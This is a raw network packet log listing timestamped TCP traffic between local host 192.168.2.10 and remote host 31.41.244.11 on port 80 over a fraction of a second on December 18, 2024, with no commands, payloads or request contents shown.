Dec 18, 2024 15:56:14.438909054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.439012051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.439080000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.439625025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.439728975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.439729929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.439835072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.569489956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.569528103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.569822073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.569897890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.569896936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.569896936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.569982052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.570327044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.570400000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.570518970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.570570946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.571060896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.571156025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.571180105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.571377993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.596681118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.596774101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.596856117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.596856117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.596997976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.597049952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.597137928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.597233057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.597718000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.597778082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.597780943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.597841024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.598459005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.598515987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.598716021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.598762989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.598795891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.598865986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.599396944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.599446058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.599479914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.599538088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.600090027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.600142956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.600356102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.600414991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.600970030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.601058960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.601080894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.601167917 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.601598978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.601650953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.601666927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.601706982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.602370977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.602431059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.602495909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.602550983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.603013992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.603068113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.603130102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.603180885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.603760958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.603827953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.603888988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.604387045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.604482889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.604537010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.604595900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.604660988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.605184078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.605233908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.605279922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.605328083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.605912924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.605954885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.606029987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.606102943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.606648922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.606664896 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.606707096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.607377052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.607450962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.607486963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.607537031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.608098030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.608113050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.608167887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.608839035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.608894110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.608989000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.609051943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.609580040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.609720945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.609776020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.610280991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.610373020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.610445976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.610547066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.611008883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.611057043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.611119986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.611131907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.611850977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.611885071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.611908913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.611989975 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.612473965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.612576962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.612615108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.612663984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.613241911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.613349915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.613352060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.613408089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.613936901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.613991022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.614063025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.614109039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.614674091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.614727974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.614728928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.614892960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.615434885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.615490913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.615526915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.615638971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.616213083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.616293907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.616394997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.616482019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.616835117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.616909027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.616967916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.617017031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.617634058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.617726088 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.617736101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.617789984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.618367910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.618427992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.618515015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.618721962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.619132042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.619215965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.619237900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.619303942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.619767904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.619827986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.619890928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.619940042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.620548010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.620601892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.620654106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.620696068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.621222019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.621274948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.621357918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.621464014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.621958017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.622008085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.622059107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.622123957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.622678995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.622736931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.622823954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.622873068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.623414993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.623492956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.623575926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.623625040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.624149084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.624197960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.624232054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.624278069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.624913931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.624988079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.624990940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.625053883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.625580072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.625642061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.625708103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.625780106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.626339912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.626405954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.626544952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.626593113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.627084017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.627171993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.627177954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.627227068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.627856016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.627871990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.627928972 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.628489971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.628559113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.628590107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.628643990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.629285097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.629334927 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.629338980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.629441977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.629997015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.630050898 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.630115032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.630162001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.630677938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.630737066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.630764961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.630810976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.631395102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.631445885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.631525993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.631576061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.632118940 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.632188082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.761735916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.761810064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.761961937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.761989117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.762005091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.762005091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.762047052 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.762742043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.762909889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.762979031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.763293982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.763328075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.763380051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.789855957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.789907932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.790038109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.790060043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.790074110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.790103912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.790129900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.790718079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.790776014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.791122913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.791387081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.791474104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.791500092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.791541100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.792032957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.792242050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.792315006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.792320013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.792371035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.792382002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.792443991 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.793144941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.793241024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.793267012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.793317080 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.793836117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.793947935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.793948889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.794001102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.794552088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.794651985 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.794672966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.794724941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.795340061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.795396090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.795403957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.795459032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.796041012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.796152115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.796214104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.796756983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.796925068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.796993971 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.797502995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.797833920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.798186064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.798218966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.798245907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.798271894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.799011946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.799082041 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.799098969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.799652100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.799731970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.799796104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.800404072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.800482035 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.800538063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.801254034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.801297903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.801362038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.801834106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.801851034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.801901102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.802542925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.802663088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.802711010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.803338051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.803440094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.803503990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.804059029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.804172039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.804230928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.804800987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.804856062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.804873943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.805495977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.805550098 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.805603981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.806318045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.806408882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.806421995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.806507111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.806922913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.807051897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.807097912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.807694912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.807786942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.807843924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.808376074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.808484077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.808537960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.809081078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.809127092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.809176922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.809811115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.809870005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.809899092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.810563087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.810611963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.810729027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.810733080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.810780048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.811359882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.811455011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.811460972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.811695099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:14.812098026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:14.812257051 CET	80	49749	31.41.244.11	192.168.2.10
